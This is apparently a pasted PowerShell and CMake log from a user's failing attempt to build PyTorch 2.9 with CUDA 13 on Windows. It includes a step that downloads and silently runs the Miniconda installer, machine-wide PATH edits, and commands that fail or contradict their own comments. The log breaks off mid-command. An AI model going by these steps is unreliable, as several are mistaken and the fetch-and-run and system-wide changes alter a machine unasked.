COMPILER_SUPPORTS_NO_AVX256_SPLIT - Failed -- Using ATen parallel backend: OMP -- Could NOT find OpenSSL, try to set the path to OpenSSL root folder in the system variable OPENSSL_ROOT_DIR (missing: OPENSSL_CRYPTO_LIBRARY OPENSSL_INCLUDE_DIR) -- Check size of long double -- Check size of long double - done -- Performing Test COMPILER_SUPPORTS_FLOAT128 -- Performing Test COMPILER_SUPPORTS_FLOAT128 - Failed -- Performing Test COMPILER_SUPPORTS_SSE2 -- Performing Test COMPILER_SUPPORTS_SSE2 - Success -- Performing Test COMPILER_SUPPORTS_SSE4 -- Performing Test COMPILER_SUPPORTS_SSE4 - Success -- Performing Test COMPILER_SUPPORTS_AVX -- Performing Test COMPILER_SUPPORTS_AVX - Success -- Performing Test COMPILER_SUPPORTS_FMA4 -- Performing Test COMPILER_SUPPORTS_FMA4 - Success -- Performing Test COMPILER_SUPPORTS_AVX2 -- Performing Test COMPILER_SUPPORTS_AVX2 - Success -- Performing Test COMPILER_SUPPORTS_AVX512F -- Performing Test COMPILER_SUPPORTS_AVX512F - Success -- Found OpenMP_C: -openmp:experimental (found version "2.0") -- Found OpenMP_CXX: -openmp:experimental (found version "2.0") -- Found OpenMP_CUDA: -openmp (found version "2.0") -- Found OpenMP: TRUE (found version "2.0") -- Performing Test COMPILER_SUPPORTS_OPENMP -- Performing Test COMPILER_SUPPORTS_OPENMP - Success -- Performing Test COMPILER_SUPPORTS_OMP_SIMD -- Performing Test COMPILER_SUPPORTS_OMP_SIMD - Failed -- Performing Test COMPILER_SUPPORTS_WEAK_ALIASES -- Performing Test COMPILER_SUPPORTS_WEAK_ALIASES - Failed -- Performing Test COMPILER_SUPPORTS_BUILTIN_MATH -- Performing Test COMPILER_SUPPORTS_BUILTIN_MATH - Failed -- Performing Test COMPILER_SUPPORTS_SYS_GETRANDOM -- Performing Test COMPILER_SUPPORTS_SYS_GETRANDOM - Failed -- Configuring build for SLEEF-v3.8.0 Target system: Windows-10.0.26100 Target processor: AMD64 Host system: Windows-10.0.26100 Host processor: AMD64 Detected C compiler: MSVC @ C:/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe CMake: 4.1.0 Make program: E:/PyTorch_Build/pytorch/pytorch_env/Scripts/ninja.exe -- Using option `/D_CRT_SECURE_NO_WARNINGS /D_CRT_NONSTDC_NO_DEPRECATE ` to compile libsleef -- Building shared libs : OFF -- Building static test bins: OFF -- MPFR : LIB_MPFR-NOTFOUND -- GMP : LIBGMP-NOTFOUND -- RT : -- FFTW3 : LIBFFTW3-NOTFOUND -- OPENSSL : -- SDE : SDE_COMMAND-NOTFOUND -- COMPILER_SUPPORTS_OPENMP : FALSE AT_INSTALL_INCLUDE_DIR include/ATen/core core header install: E:/PyTorch_Build/pytorch/build/aten/src/ATen/core/aten_interned_strings.h core header install: E:/PyTorch_Build/pytorch/build/aten/src/ATen/core/enum_tag.h core header install: E:/PyTorch_Build/pytorch/build/aten/src/ATen/core/TensorBody.h CMake Error: File E:/PyTorch_Build/pytorch/torch/_utils_internal.py does not exist. CMake Error at caffe2/CMakeLists.txt:241 (configure_file): configure_file Problem configuring file CMake Error: File E:/PyTorch_Build/pytorch/torch/csrc/api/include/torch/version.h.in does not exist. CMake Error at caffe2/CMakeLists.txt:246 (configure_file): configure_file Problem configuring file -- NVSHMEM not found, not building with NVSHMEM support. CMake Error at caffe2/CMakeLists.txt:1398 (add_subdirectory): The source directory E:/PyTorch_Build/pytorch/torch does not contain a CMakeLists.txt file. CMake Warning at CMakeLists.txt:1285 (message): Generated cmake files are only fully tested if one builds with system glog, gflags, and protobuf. Other settings may generate files that are not well tested. -- -- ******** Summary ******** -- General: -- CMake version : 4.1.0 -- CMake command : E:/PyTorch_Build/pytorch/pytorch_env/Lib/site-packages/cmake/data/bin/cmake.exe -- System : Windows -- C++ compiler : C:/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe -- C++ compiler id : MSVC -- C++ compiler version : 19.44.35215.0 -- Using ccache if found : OFF -- CXX flags : /DWIN32 /D_WINDOWS /EHsc /Zc:__cplusplus /bigobj /FS /utf-8 -DUSE_PTHREADPOOL -DNDEBUG -DUSE_KINETO -DLIBKINETO_NOROCTRACER -DLIBKINETO_NOXPUPTI=ON -DUSE_XNNPACK -DSYMBOLICATE_MOBILE_DEBUG_HANDLE /wd4624 /wd4068 /wd4067 /wd4267 /wd4661 /wd4717 /wd4244 /wd4804 /wd4273 -- Shared LD flags : /machine:x64 /ignore:4049 /ignore:4217 /ignore:4099 -- Static LD flags : /machine:x64 /ignore:4049 /ignore:4217 /ignore:4099 -- Module LD flags : /machine:x64 /ignore:4049 /ignore:4217 /ignore:4099 -- Build type : Release -- Compile definitions : ONNX_ML=1;ONNXIFI_ENABLE_EXT=1;ONNX_NAMESPACE=onnx_torch;_CRT_SECURE_NO_DEPRECATE=1;USE_EXTERNAL_MZCRC;MINIZ_DISABLE_ZIP_READER_CRC32_CHECKS;EXPORT_AOTI_FUNCTIONS;WIN32_LEAN_AND_MEAN;_UCRT_LEGACY_INFINITY;NOMINMAX;USE_MIMALLOC -- CMAKE_PREFIX_PATH : E:\PyTorch_Build\pytorch\pytorch_env\Lib\site-packages;E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0;E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0;E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0 -- CMAKE_INSTALL_PREFIX : E:/PyTorch_Build/pytorch/torch -- USE_GOLD_LINKER : OFF -- -- TORCH_VERSION : 2.9.0 -- BUILD_STATIC_RUNTIME_BENCHMARK: OFF -- BUILD_BINARY : OFF -- BUILD_CUSTOM_PROTOBUF : ON -- Link local protobuf : ON -- BUILD_PYTHON : True -- Python version : 3.10.10 -- Python executable : E:\PyTorch_Build\pytorch\pytorch_env\Scripts\python.exe -- Python library : E:/Python310/libs/python310.lib -- Python includes : E:/Python310/Include -- Python site-package : E:\PyTorch_Build\pytorch\pytorch_env\Lib\site-packages -- BUILD_SHARED_LIBS : ON -- CAFFE2_USE_MSVC_STATIC_RUNTIME : OFF -- BUILD_TEST : True -- BUILD_JNI : OFF -- BUILD_MOBILE_AUTOGRAD : OFF -- BUILD_LITE_INTERPRETER: OFF -- INTERN_BUILD_MOBILE : -- TRACING_BASED : OFF -- USE_BLAS : 0 -- USE_LAPACK : 0 -- USE_ASAN : OFF -- USE_TSAN : OFF -- USE_CPP_CODE_COVERAGE : OFF -- USE_CUDA : ON -- CUDA static link : OFF -- USE_CUDNN : OFF -- USE_CUSPARSELT : OFF -- USE_CUDSS : OFF -- USE_CUFILE : OFF -- CUDA version : 13.0 -- USE_FLASH_ATTENTION : OFF -- USE_MEM_EFF_ATTENTION : ON -- CUDA root directory : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0 -- CUDA library : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/lib/x64/cuda.lib -- cudart library : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/lib/x64/cudart.lib -- cublas library : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/lib/x64/cublas.lib -- cufft library : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/lib/x64/cufft.lib -- curand library : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/lib/x64/curand.lib -- cusparse library : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/lib/x64/cusparse.lib -- nvrtc : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/lib/x64/nvrtc.lib -- CUDA include path : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/include -- NVCC executable : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/bin/nvcc.exe -- CUDA compiler : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/bin/nvcc.exe -- CUDA flags : -DLIBCUDACXX_ENABLE_SIMPLIFIED_COMPLEX_OPERATIONS -Xcompiler /Zc:__cplusplus -Xcompiler /w -w -Xcompiler /FS -Xfatbin -compress-all -DONNX_NAMESPACE=onnx_torch --use-local-env -gencode arch=compute_120,code=sm_120 -Xcudafe --diag_suppress=cc_clobber_ignored,--diag_suppress=field_without_dll_interface,--diag_suppress=base_class_has_different_dll_interface,--diag_suppress=dll_interface_conflict_none_assumed,--diag_suppress=dll_interface_conflict_dllexport_assumed,--diag_suppress=bad_friend_decl --Werror cross-execution-space-call --no-host-device-move-forward --expt-relaxed-constexpr --expt-extended-lambda -Xcompiler=/wd4819,/wd4503,/wd4190,/wd4244,/wd4251,/wd4275,/wd4522 -Wno-deprecated-gpu-targets --expt-extended-lambda -DCUB_WRAPPED_NAMESPACE=at_cuda_detail -DCUDA_HAS_FP16=1 -D__CUDA_NO_HALF_OPERATORS__ -D__CUDA_NO_HALF_CONVERSIONS__ -D__CUDA_NO_HALF2_OPERATORS__ -D__CUDA_NO_BFLOAT16_CONVERSIONS__ -- CUDA host compiler : -- CUDA --device-c : OFF -- USE_TENSORRT : -- USE_XPU : OFF -- USE_ROCM : OFF -- BUILD_NVFUSER : -- USE_EIGEN_FOR_BLAS : ON -- USE_EIGEN_FOR_SPARSE : OFF -- USE_FBGEMM : OFF -- USE_KINETO : ON -- USE_GFLAGS : OFF -- USE_GLOG : OFF -- USE_LITE_PROTO : OFF -- USE_PYTORCH_METAL : OFF -- USE_PYTORCH_METAL_EXPORT : OFF -- USE_MPS : OFF -- CAN_COMPILE_METAL : -- USE_MKL : OFF -- USE_MKLDNN : OFF -- USE_UCC : OFF -- USE_ITT : ON -- USE_XCCL : OFF -- USE_NCCL : OFF -- Found NVSHMEM : -- USE_NNPACK : OFF -- USE_NUMPY : OFF -- USE_OBSERVERS : ON -- USE_OPENCL : OFF -- USE_OPENMP : ON -- USE_MIMALLOC : ON -- USE_MIMALLOC_ON_MKL : OFF -- USE_VULKAN : OFF -- USE_PROF : OFF -- USE_PYTORCH_QNNPACK : OFF -- USE_XNNPACK : ON -- USE_DISTRIBUTED : OFF -- Public Dependencies : -- Private Dependencies : Threads::Threads;pthreadpool;cpuinfo;XNNPACK;microkernels-prod;ittnotify;fp16;caffe2::openmp;fmt::fmt-header-only;kineto -- Public CUDA Deps. : -- Private CUDA Deps. : caffe2::curand;caffe2::cufft;caffe2::cublas;fmt::fmt-header-only;E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/lib/x64/cudart_static.lib;CUDA::cusparse;CUDA::cufft;CUDA::cusolver;ATEN_CUDA_FILES_GEN_LIB -- USE_COREML_DELEGATE : OFF -- BUILD_LAZY_TS_BACKEND : ON -- USE_ROCM_KERNEL_ASSERT : OFF -- Performing Test HAS_WMISSING_PROTOTYPES -- Performing Test HAS_WMISSING_PROTOTYPES - Failed -- Performing Test HAS_WERROR_MISSING_PROTOTYPES -- Performing Test HAS_WERROR_MISSING_PROTOTYPES - Failed -- Configuring incomplete, errors occurred! (pytorch_env) PS E:\PyTorch_Build\pytorch> # 永久修复conda命令不可用问题 (pytorch_env) PS E:\PyTorch_Build\pytorch> $condaPaths = @( >> "$env:USERPROFILE\miniconda3\Scripts", >> "$env:USERPROFILE\anaconda3\Scripts", >> "C:\ProgramData\miniconda3\Scripts" >> ) (pytorch_env) PS E:\PyTorch_Build\pytorch> (pytorch_env) PS E:\PyTorch_Build\pytorch> foreach ($path in $condaPaths) { >> if (Test-Path $path) { >> $env:PATH = "$path;$env:PATH" >> [Environment]::SetEnvironmentVariable("PATH", $env:PATH, "Machine") >> break >> } >> } (pytorch_env) PS E:\PyTorch_Build\pytorch> (pytorch_env) PS E:\PyTorch_Build\pytorch> # 验证修复 (pytorch_env) PS E:\PyTorch_Build\pytorch> conda --version conda: The term 'conda' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. (pytorch_env) PS E:\PyTorch_Build\pytorch> # 设置 cuDNN v9.12 路径 (pytorch_env) PS E:\PyTorch_Build\pytorch> $cudnnPath = "E:\Program Files\NVIDIA\CUNND\v9.12" (pytorch_env) PS E:\PyTorch_Build\pytorch> (pytorch_env) PS E:\PyTorch_Build\pytorch> # 添加到环境变量 (pytorch_env) PS E:\PyTorch_Build\pytorch> $env:CUDNN_ROOT_DIR = $cudnnPath (pytorch_env) PS E:\PyTorch_Build\pytorch> $env:CUDNN_INCLUDE_DIR = "$cudnnPath\include" (pytorch_env) PS E:\PyTorch_Build\pytorch> $env:CUDNN_LIBRARY = "$cudnnPath\lib\x64\cudnn.lib" (pytorch_env) PS E:\PyTorch_Build\pytorch> (pytorch_env) PS E:\PyTorch_Build\pytorch> # 永久生效 (pytorch_env) PS E:\PyTorch_Build\pytorch> [Environment]::SetEnvironmentVariable("CUDNN_ROOT_DIR", $cudnnPath, "Machine") (pytorch_env) PS E:\PyTorch_Build\pytorch> [Environment]::SetEnvironmentVariable("CUDNN_INCLUDE_DIR", "$cudnnPath\include", "Machine") (pytorch_env) PS E:\PyTorch_Build\pytorch> [Environment]::SetEnvironmentVariable("CUDNN_LIBRARY", "$cudnnPath\lib\x64\cudnn.lib", "Machine") (pytorch_env) PS E:\PyTorch_Build\pytorch> # 原始代码大约在 190 行左右 (pytorch_env) PS E:\PyTorch_Build\pytorch> # 替换为以下内容强制使用 v9.12: (pytorch_env) PS E:\PyTorch_Build\pytorch> (pytorch_env) PS E:\PyTorch_Build\pytorch> set(CUDNN_VERSION "9.12.0") # 手动指定版本 CUDNN_VERSION: The term 'CUDNN_VERSION' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. (pytorch_env) PS E:\PyTorch_Build\pytorch> set(CUDNN_FOUND TRUE) CUDNN_FOUND: The term 'CUDNN_FOUND' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. (pytorch_env) PS E:\PyTorch_Build\pytorch> set(CUDNN_INCLUDE_DIR $ENV{CUDNN_INCLUDE_DIR}) InvalidOperation: The variable '$ENV' cannot be retrieved because it has not been set. (pytorch_env) PS E:\PyTorch_Build\pytorch> set(CUDNN_LIBRARY $ENV{CUDNN_LIBRARY}) InvalidOperation: The variable '$ENV' cannot be retrieved because it has not been set. (pytorch_env) PS E:\PyTorch_Build\pytorch> (pytorch_env) PS E:\PyTorch_Build\pytorch> message(STATUS "Using manually configured cuDNN v${CUDNN_VERSION}") InvalidOperation: The variable '$CUDNN_VERSION' cannot be retrieved because it has not been set. (pytorch_env) PS E:\PyTorch_Build\pytorch> message(STATUS " Include path: ${CUDNN_INCLUDE_DIR}") InvalidOperation: The variable '$CUDNN_INCLUDE_DIR' cannot be retrieved because it has not been set. (pytorch_env) PS E:\PyTorch_Build\pytorch> message(STATUS " Library path: ${CUDNN_LIBRARY}") InvalidOperation: The variable '$CUDNN_LIBRARY' cannot be retrieved because it has not been set. (pytorch_env) PS E:\PyTorch_Build\pytorch> # 精确查找 conda.bat (pytorch_env) PS E:\PyTorch_Build\pytorch> $condaPath = Get-ChildItem -Path C:\ -Recurse -Filter conda.bat -ErrorAction SilentlyContinue | >> Select-Object -First 1 | >> ForEach-Object { $_.DirectoryName } (pytorch_env) PS E:\PyTorch_Build\pytorch> (pytorch_env) PS E:\PyTorch_Build\pytorch> if ($condaPath) { >> $env:PATH = "$condaPath;$env:PATH" >> [Environment]::SetEnvironmentVariable("PATH", $env:PATH, "Machine") >> Write-Host "Conda found at: $condaPath" -ForegroundColor Green >> } else { >> Write-Host "Conda not found! Installing miniconda..." -ForegroundColor Yellow >> # 自动安装 miniconda >> Invoke-WebRequest -Uri "https://repo.anaconda.com/miniconda/Miniconda3-latest-Windows-x86_64.exe" -OutFile "$env:TEMP\miniconda.exe" >> Start-Process -FilePath "$env:TEMP\miniconda.exe" -ArgumentList "/S", "/AddToPath=1", "/InstallationType=AllUsers", "/D=C:\Miniconda3" -Wait >> $env:PATH = "C:\Miniconda3\Scripts;$env:PATH" >> } Conda not found! Installing miniconda... /AddToPath=1 is disabled and ignored in 'All Users' installations Welcome to Miniconda3 py313_25.7.0-2 By continuing this installation you are accepting this license agreement: C:\Miniconda3\EULA.txt Please run the installer in GUI mode to read the details. Miniconda3 will now be installed into this location: C:\Miniconda3 Unpacking payload... Setting up the package cache... Setting up the base environment... Installing packages for base, creating shortcuts if necessary... Initializing conda directories... Setting installation directory permissions... Done! (pytorch_env) PS E:\PyTorch_Build\pytorch> (pytorch_env) PS E:\PyTorch_Build\pytorch>
09-02
PowerShell 7 环境已加载 (版本: 7.5.2) PowerShell 7 环境已加载 (版本: 7.5.2) PS C:\Users\Administrator\Desktop> cd E:\PyTorch_Build\pytorch PS E:\PyTorch_Build\pytorch> .\pytorch_env\Scripts\activate (pytorch_env) PS E:\PyTorch_Build\pytorch> # 退出虚拟环境 (pytorch_env) PS E:\PyTorch_Build\pytorch> deactivate PS E:\PyTorch_Build\pytorch> PS E:\PyTorch_Build\pytorch> # 删除旧环境 PS E:\PyTorch_Build\pytorch> Remove-Item -Recurse -Force .\pytorch_env PS E:\PyTorch_Build\pytorch> Remove-Item -Recurse -Force .\cuda_env PS E:\PyTorch_Build\pytorch> PS E:\PyTorch_Build\pytorch> # 创建新虚拟环境 PS E:\PyTorch_Build\pytorch> python -m venv rtx5070_env PS E:\PyTorch_Build\pytorch> .\rtx5070_env\Scripts\activate (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 安装基础编译工具 (rtx5070_env) PS E:\PyTorch_Build\pytorch> pip install -U pip setuptools wheel ninja cmake Looking in indexes: https://pypi.tuna.tsinghua.edu.cn/simple Requirement already satisfied: pip in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (22.3.1) Collecting pip Using cached https://pypi.tuna.tsinghua.edu.cn/packages/b7/3f/945ef7ab14dc4f9d7f40288d2df998d1837ee0888ec3659c813487572faa/pip-25.2-py3-none-any.whl (1.8 MB) Requirement already satisfied: setuptools in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (65.5.0) Collecting setuptools Using cached https://pypi.tuna.tsinghua.edu.cn/packages/a3/dc/17031897dae0efacfea57dfd3a82fdd2a2aeb58e0ff71b77b87e44edc772/setuptools-80.9.0-py3-none-any.whl (1.2 MB) Collecting wheel Using cached https://pypi.tuna.tsinghua.edu.cn/packages/0b/2c/87f3254fd8ffd29e4c02732eee68a83a1d3c346ae39bc6822dcbcb697f2b/wheel-0.45.1-py3-none-any.whl (72 kB) Collecting ninja Using cached https://pypi.tuna.tsinghua.edu.cn/packages/29/45/c0adfbfb0b5895aa18cec400c535b4f7ff3e52536e0403602fc1a23f7de9/ninja-1.13.0-py3-none-win_amd64.whl (309 kB) Collecting cmake Using cached https://pypi.tuna.tsinghua.edu.cn/packages/7c/d0/73cae88d8c25973f2465d5a4457264f95617c16ad321824ed4c243734511/cmake-4.1.0-py3-none-win_amd64.whl (37.6 MB) ERROR: To modify pip, please run the following command: E:\PyTorch_Build\pytorch\rtx5070_env\Scripts\python.exe -m pip install -U pip setuptools wheel ninja cmake [notice] A new release of pip available: 22.3.1 -> 25.2 [notice] To update, run: python.exe -m pip install --upgrade pip (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 验证 CUDA 安装 (rtx5070_env) PS E:\PyTorch_Build\pytorch> nvcc --version # 应显示 CUDA 12.x nvcc: NVIDIA (R) Cuda compiler driver Copyright (c) 2005-2025 NVIDIA Corporation Built on Wed_Jul_16_20:06:48_Pacific_Daylight_Time_2025 Cuda compilation tools, release 13.0, V13.0.48 Build cuda_13.0.r13.0/compiler.36260728_0 (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 正确更新 pip 和工具链 (rtx5070_env) PS E:\PyTorch_Build\pytorch> python -m pip install -U pip setuptools wheel ninja cmake Looking in indexes: https://pypi.tuna.tsinghua.edu.cn/simple Requirement already satisfied: pip in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (22.3.1) Collecting pip Using cached https://pypi.tuna.tsinghua.edu.cn/packages/b7/3f/945ef7ab14dc4f9d7f40288d2df998d1837ee0888ec3659c813487572faa/pip-25.2-py3-none-any.whl (1.8 MB) Requirement already satisfied: setuptools in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (65.5.0) Collecting setuptools Using cached https://pypi.tuna.tsinghua.edu.cn/packages/a3/dc/17031897dae0efacfea57dfd3a82fdd2a2aeb58e0ff71b77b87e44edc772/setuptools-80.9.0-py3-none-any.whl (1.2 MB) Collecting wheel Using cached https://pypi.tuna.tsinghua.edu.cn/packages/0b/2c/87f3254fd8ffd29e4c02732eee68a83a1d3c346ae39bc6822dcbcb697f2b/wheel-0.45.1-py3-none-any.whl (72 kB) Collecting ninja Using cached https://pypi.tuna.tsinghua.edu.cn/packages/29/45/c0adfbfb0b5895aa18cec400c535b4f7ff3e52536e0403602fc1a23f7de9/ninja-1.13.0-py3-none-win_amd64.whl (309 kB) Collecting cmake Using cached https://pypi.tuna.tsinghua.edu.cn/packages/7c/d0/73cae88d8c25973f2465d5a4457264f95617c16ad321824ed4c243734511/cmake-4.1.0-py3-none-win_amd64.whl (37.6 MB) Installing collected packages: wheel, setuptools, pip, ninja, cmake Attempting uninstall: setuptools Found existing installation: setuptools 65.5.0 Uninstalling setuptools-65.5.0: Successfully uninstalled setuptools-65.5.0 Attempting uninstall: pip Found existing installation: pip 22.3.1 Uninstalling pip-22.3.1: Successfully uninstalled pip-22.3.1 Successfully installed cmake-4.1.0 ninja-1.13.0 pip-25.2 setuptools-80.9.0 wheel-0.45.1 (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 验证版本 (rtx5070_env) PS E:\PyTorch_Build\pytorch> pip --version # 应显示 25.2+ pip 25.2 from E:\PyTorch_Build\pytorch\rtx5070_env\lib\site-packages\pip (python 3.10) (rtx5070_env) PS E:\PyTorch_Build\pytorch> cmake --version # 应显示 4.1.0+ cmake version 4.1.0 CMake suite maintained and supported by Kitware (kitware.com/cmake). (rtx5070_env) PS E:\PyTorch_Build\pytorch> ninja --version # 应显示 1.13.0+ 1.13.0.git.kitware.jobserver-pipe-1 (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 设置 CUDA 12.1 环境变量 (rtx5070_env) PS E:\PyTorch_Build\pytorch> $env:CUDA_PATH = "C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v12.1" (rtx5070_env) PS E:\PyTorch_Build\pytorch> $env:PATH = "$env:CUDA_PATH\bin;" + $env:PATH (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 验证 CUDA 版本 (rtx5070_env) PS E:\PyTorch_Build\pytorch> nvcc --version # 应显示 release 12.1 nvcc: NVIDIA (R) Cuda compiler driver Copyright (c) 2005-2025 NVIDIA Corporation Built on Wed_Jul_16_20:06:48_Pacific_Daylight_Time_2025 Cuda compilation tools, release 13.0, V13.0.48 Build cuda_13.0.r13.0/compiler.36260728_0 (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 设置 cuDNN 路径(根据实际安装位置) (rtx5070_env) PS E:\PyTorch_Build\pytorch> $env:CUDNN_INCLUDE_DIR = "$env:CUDA_PATH\include" (rtx5070_env) PS E:\PyTorch_Build\pytorch> $env:CUDNN_LIBRARY = "$env:CUDA_PATH\lib\x64\cudnn.lib" (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 安装必要依赖 (rtx5070_env) PS E:\PyTorch_Build\pytorch> pip install pyyaml numpy typing_extensions Looking in indexes: https://pypi.tuna.tsinghua.edu.cn/simple Collecting pyyaml Using cached https://pypi.tuna.tsinghua.edu.cn/packages/b5/84/0fa4b06f6d6c958d207620fc60005e241ecedceee58931bb20138e1e5776/PyYAML-6.0.2-cp310-cp310-win_amd64.whl (161 kB) Collecting numpy Using cached https://pypi.tuna.tsinghua.edu.cn/packages/a3/dd/4b822569d6b96c39d1215dbae0582fd99954dcbcf0c1a13c61783feaca3f/numpy-2.2.6-cp310-cp310-win_amd64.whl (12.9 MB) Collecting typing_extensions Using cached https://pypi.tuna.tsinghua.edu.cn/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl (44 kB) Installing collected packages: typing_extensions, pyyaml, numpy Successfully installed numpy-2.2.6 pyyaml-6.0.2 typing_extensions-4.15.0 (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 安装 GPU 相关依赖 (rtx5070_env) PS E:\PyTorch_Build\pytorch> pip install mkl mkl-include intel-openmp Looking in indexes: https://pypi.tuna.tsinghua.edu.cn/simple Collecting mkl Using cached https://pypi.tuna.tsinghua.edu.cn/packages/91/ae/025174ee141432b974f97ecd2aea529a3bdb547392bde3dd55ce48fe7827/mkl-2025.2.0-py2.py3-none-win_amd64.whl (153.6 MB) Collecting mkl-include Using cached https://pypi.tuna.tsinghua.edu.cn/packages/06/87/3eee37bf95c6b820b6394ad98e50132798514ecda1b2584c71c2c96b973c/mkl_include-2025.2.0-py2.py3-none-win_amd64.whl (1.3 MB) Collecting intel-openmp Using cached https://pypi.tuna.tsinghua.edu.cn/packages/89/ed/13fed53fcc7ea17ff84095e89e63418df91d4eeefdc74454243d529bf5a3/intel_openmp-2025.2.1-py2.py3-none-win_amd64.whl (34.0 MB) Collecting tbb==2022.* (from mkl) Using cached https://pypi.tuna.tsinghua.edu.cn/packages/4e/d2/01e2a93f9c644585088188840bf453f23ed1a2838ec51d5ba1ada1ebca71/tbb-2022.2.0-py3-none-win_amd64.whl (420 kB) Collecting intel-cmplr-lib-ur==2025.2.1 (from intel-openmp) Using cached https://pypi.tuna.tsinghua.edu.cn/packages/a8/70/938e81f58886fd4e114d5a5480d98c1396e73e40b7650f566ad0c4395311/intel_cmplr_lib_ur-2025.2.1-py2.py3-none-win_amd64.whl (1.2 MB) Collecting umf==0.11.* (from intel-cmplr-lib-ur==2025.2.1->intel-openmp) Using cached https://pypi.tuna.tsinghua.edu.cn/packages/33/a0/c8d755f08f50ddd99cb4a29a7e950ced7a0903cb72253e57059063609103/umf-0.11.0-py2.py3-none-win_amd64.whl (231 kB) Collecting tcmlib==1.* (from tbb==2022.*->mkl) Using cached https://pypi.tuna.tsinghua.edu.cn/packages/91/7b/e30c461a27b97e0090e4db822eeb1d37b310863241f8c3ee56f68df3e76e/tcmlib-1.4.0-py2.py3-none-win_amd64.whl (370 kB) Installing collected packages: tcmlib, mkl-include, umf, tbb, intel-cmplr-lib-ur, intel-openmp, mkl Successfully installed intel-cmplr-lib-ur-2025.2.1 intel-openmp-2025.2.1 mkl-2025.2.0 mkl-include-2025.2.0 tbb-2022.2.0 tcmlib-1.4.0 umf-0.11.0 (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 安装必要依赖 (rtx5070_env) PS E:\PyTorch_Build\pytorch> pip install pyyaml numpy typing_extensions Looking in indexes: https://pypi.tuna.tsinghua.edu.cn/simple Requirement already satisfied: pyyaml in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (6.0.2) Requirement already satisfied: numpy in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (2.2.6) Requirement already satisfied: typing_extensions in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (4.15.0) (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 安装 GPU 相关依赖 (rtx5070_env) PS E:\PyTorch_Build\pytorch> pip install mkl mkl-include intel-openmp Looking in indexes: https://pypi.tuna.tsinghua.edu.cn/simple Requirement already satisfied: mkl in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (2025.2.0) Requirement already satisfied: mkl-include in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (2025.2.0) Requirement already satisfied: intel-openmp in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (2025.2.1) Requirement already satisfied: tbb==2022.* in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (from mkl) (2022.2.0) Requirement already satisfied: intel-cmplr-lib-ur==2025.2.1 in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (from intel-openmp) (2025.2.1) Requirement already satisfied: umf==0.11.* in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (from intel-cmplr-lib-ur==2025.2.1->intel-openmp) (0.11.0) Requirement already satisfied: tcmlib==1.* in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (from tbb==2022.*->mkl) (1.4.0) (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 设置编译参数 (rtx5070_env) PS E:\PyTorch_Build\pytorch> $env:USE_CUDA=1 (rtx5070_env) PS E:\PyTorch_Build\pytorch> $env:USE_CUDNN=1 (rtx5070_env) PS E:\PyTorch_Build\pytorch> $env:CMAKE_GENERATOR="Ninja" (rtx5070_env) PS E:\PyTorch_Build\pytorch> $env:MAX_JOBS=8 # 根据 CPU 核心数设置 (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 运行编译 (rtx5070_env) PS E:\PyTorch_Build\pytorch> python setup.py install ` >> --cmake ` >> --cmake-only ` >> --cmake-generator="Ninja" ` >> --verbose ` >> -DCMAKE_CUDA_COMPILER="${env:CUDA_PATH}\bin\nvcc.exe" ` >> 